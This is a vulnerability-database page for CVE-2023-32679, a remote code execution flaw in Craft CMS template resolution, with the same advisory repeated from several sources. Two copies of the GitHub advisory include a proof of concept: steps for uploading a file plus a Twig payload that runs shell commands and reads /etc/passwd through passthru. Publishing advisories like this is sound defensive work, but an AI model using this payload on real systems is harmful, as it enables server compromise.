CVE-2023-32679
Remote Code Execution via unrestricted file extension in Craft CMS
Craft CMS is an open source content management system. In affected versions of Craft CMS an unrestricted file extension may lead to Remote Code Execution. If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates. When attacker with admin privileges on a DEV or an improperly configured STG or PROD environment, they can exploit this vulnerability to remote code execution. Code execution may grant the attacker access to the host operating system. This issue has been addressed in version 4.4.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.2
Remote Code Execution via unrestricted file extension in Craft CMS
Craft CMS is an open source content management system. In affected versions of Craft CMS an unrestricted file extension may lead to Remote Code Execution. If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates. When attacker with admin privileges on a DEV or an improperly configured STG or PROD environment, they can exploit this vulnerability to remote code execution. Code execution may grant the attacker access to the host operating system. This issue has been addressed in version 4.4.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2023-32679- CVSS 3.1
- 7.2 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
EUVDEUVD-2023-1632
7.2
Craft CMS is an open source content management system. In affected versions of Craft CMS an unrestricted file extension may lead to Remote Code Execution. If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates. When attacker with admin privileges on a DEV or an improperly configured STG or PROD environment, they can exploit this vulnerability to remote code execution. Code execution may grant the attacker access to the host operating system. This issue has been addressed in version 4.4.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
EUVD-2023-1632- CVSS 3.1
- 7.2 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-vqxf-r9ph-cc9c
7.2
Craft CMS vulnerable to Remote Code Execution via unrestricted file extension
Summary
Unrestricted file extension lead to a potential Remote Code Execution (Authenticated, ALLOW_ADMIN_CHANGES=true)
Details
Vulnerability Cause :
If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates (even if they are not extensions set in defaultTemplateExtensions = ['html', 'twig'])
/**
* Searches for a template files, and returns the first match if there is one.
*
* @param string $basePath The base path to be looking in.
* @param string $name The name of the template to be looking for.
* @param bool $publicOnly Whether to only look for public templates (template paths that don’t start with the private template trigger).
* @return string|null The matching file path, or `null`.
*/
private function _resolveTemplate(string $basePath, string $name, bool $publicOnly): ?string
{
// Normalize the path and name
$basePath = FileHelper::normalizePath($basePath);
$name = trim(FileHelper::normalizePath($name), '/');
// $name could be an empty string (e.g. to load the homepage template)
if ($name !== '') {
if ($publicOnly && preg_match(sprintf('/(^|\/)%s/', preg_quote($this->_privateTemplateTrigger, '/')), $name)) {
return null;
}
// Maybe $name is already the full file path
$testPath = $basePath . DIRECTORY_SEPARATOR . $name;
if (is_file($testPath)) {
return $testPath;
}
foreach ($this->_defaultTemplateExtensions as $extension) {
$testPath = $basePath . DIRECTORY_SEPARATOR . $name . '.' . $extension;
if (is_file($testPath)) {
return $testPath;
}
}
}
foreach ($this->_indexTemplateFilenames as $filename) {
foreach ($this->_defaultTemplateExtensions as $extension) {
$testPath = $basePath . ($name !== '' ? DIRECTORY_SEPARATOR . $name : '') . DIRECTORY_SEPARATOR . $filename . '.' . $extension;
if (is_file($testPath)) {
return $testPath;
}
}
}
return null;
}
When attacker with admin privileges on the DEV or Misconfigured STG, PROD, they can exploit this vulnerability to remote code execution (ALLOW_ADMIN_CHANGES=true)
PoC
Step 1) Create a new filesystem. Base Path: /var/www/html/templates
Step 2) Create a new asset volume. Asset Filesystem: template
Step 3) Upload poc file( .txt , .js , .json , etc ) with twig template rce payload
{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}
Step 4) Create a new global set with template layout. The template filename is poc.js
Step 5) When access global menu or /admin/global/test, poc.js is rendered as a template file and RCE confirmed
Step 6) RCE can be confirmed on other menus(Entries, Categories) where the template file is loaded.…
- Record
GHSA-vqxf-r9ph-cc9c- CVSS 3.1
- 7.2 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
NVD
7.2
Craft CMS is an open source content management system. In affected versions of Craft CMS an unrestricted file extension may lead to Remote Code Execution. If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates. When attacker with admin privileges on a DEV or an improperly configured STG or PROD environment, they can exploit this vulnerability to remote code execution. Code execution may grant the attacker access to the host operating system. This issue has been addressed in version 4.4.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2023-32679- CVSS 3.1
- 7.2 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
OSV
7.2
Remote Code Execution via unrestricted file extension in Craft CMS
Craft CMS is an open source content management system. In affected versions of Craft CMS an unrestricted file extension may lead to Remote Code Execution. If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates. When attacker with admin privileges on a DEV or an improperly configured STG or PROD environment, they can exploit this vulnerability to remote code execution. Code execution may grant the attacker access to the host operating system. This issue has been addressed in version 4.4.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2023-32679- CVSS 3.1
- 7.2 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
OSVGHSA-vqxf-r9ph-cc9c
7.2
Craft CMS vulnerable to Remote Code Execution via unrestricted file extension
Summary
Unrestricted file extension lead to a potential Remote Code Execution (Authenticated, ALLOW_ADMIN_CHANGES=true)
Details
Vulnerability Cause :
If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates (even if they are not extensions set in defaultTemplateExtensions = ['html', 'twig'])
/**
* Searches for a template files, and returns the first match if there is one.
*
* @param string $basePath The base path to be looking in.
* @param string $name The name of the template to be looking for.
* @param bool $publicOnly Whether to only look for public templates (template paths that don’t start with the private template trigger).
* @return string|null The matching file path, or `null`.
*/
private function _resolveTemplate(string $basePath, string $name, bool $publicOnly): ?string
{
// Normalize the path and name
$basePath = FileHelper::normalizePath($basePath);
$name = trim(FileHelper::normalizePath($name), '/');
// $name could be an empty string (e.g. to load the homepage template)
if ($name !== '') {
if ($publicOnly && preg_match(sprintf('/(^|\/)%s/', preg_quote($this->_privateTemplateTrigger, '/')), $name)) {
return null;
}
// Maybe $name is already the full file path
$testPath = $basePath . DIRECTORY_SEPARATOR . $name;
if (is_file($testPath)) {
return $testPath;
}
foreach ($this->_defaultTemplateExtensions as $extension) {
$testPath = $basePath . DIRECTORY_SEPARATOR . $name . '.' . $extension;
if (is_file($testPath)) {
return $testPath;
}
}
}
foreach ($this->_indexTemplateFilenames as $filename) {
foreach ($this->_defaultTemplateExtensions as $extension) {
$testPath = $basePath . ($name !== '' ? DIRECTORY_SEPARATOR . $name : '') . DIRECTORY_SEPARATOR . $filename . '.' . $extension;
if (is_file($testPath)) {
return $testPath;
}
}
}
return null;
}
When attacker with admin privileges on the DEV or Misconfigured STG, PROD, they can exploit this vulnerability to remote code execution (ALLOW_ADMIN_CHANGES=true)
PoC
Step 1) Create a new filesystem. Base Path: /var/www/html/templates
Step 2) Create a new asset volume. Asset Filesystem: template
Step 3) Upload poc file( .txt , .js , .json , etc ) with twig template rce payload
{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}
Step 4) Create a new global set with template layout. The template filename is poc.js
Step 5) When access global menu or /admin/global/test, poc.js is rendered as a template file and RCE confirmed
Step 6) RCE can be confirmed on other menus(Entries, Categories) where the template file is loaded.…
- Record
GHSA-vqxf-r9ph-cc9c- CVSS 3.1
- 7.2 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
craftcms/cmsPackagist |
4.0.0 up to 4.4.6 | 4.4.6 |
craftcms/cmsPackagist |
4.0.0 up to 4.4.6, plus listed versions 4.0.0.14.0.14.0.24.0.34.0.4 Show 45 moreShow less4.0.54.0.5.14.0.5.24.0.64.1.04.1.0.14.1.0.24.1.14.1.24.1.34.1.44.1.4.14.2.04.2.0.14.2.0.24.2.14.2.1.14.2.24.2.34.2.44.2.54.2.5.14.2.5.24.2.64.2.74.2.84.3.04.3.14.3.104.3.114.3.24.3.2.14.3.34.3.44.3.54.3.64.3.6.14.3.74.3.7.14.3.84.3.8.14.3.8.24.3.94.4.04.4.0-beta.1 |
4.4.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, products, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-32679 is a high vulnerability (CVSS 7.2) in Craftcms Cms, published May 19, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.85%, the 79th percentile. Fixed in craftcms/cms 4.4.6.
References
Left out here: 11 versions and the rest of 2 source descriptions. The JSON record has them.